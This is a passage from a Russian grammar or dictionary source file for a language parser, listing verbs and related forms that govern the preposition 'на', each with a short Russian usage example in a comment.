rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
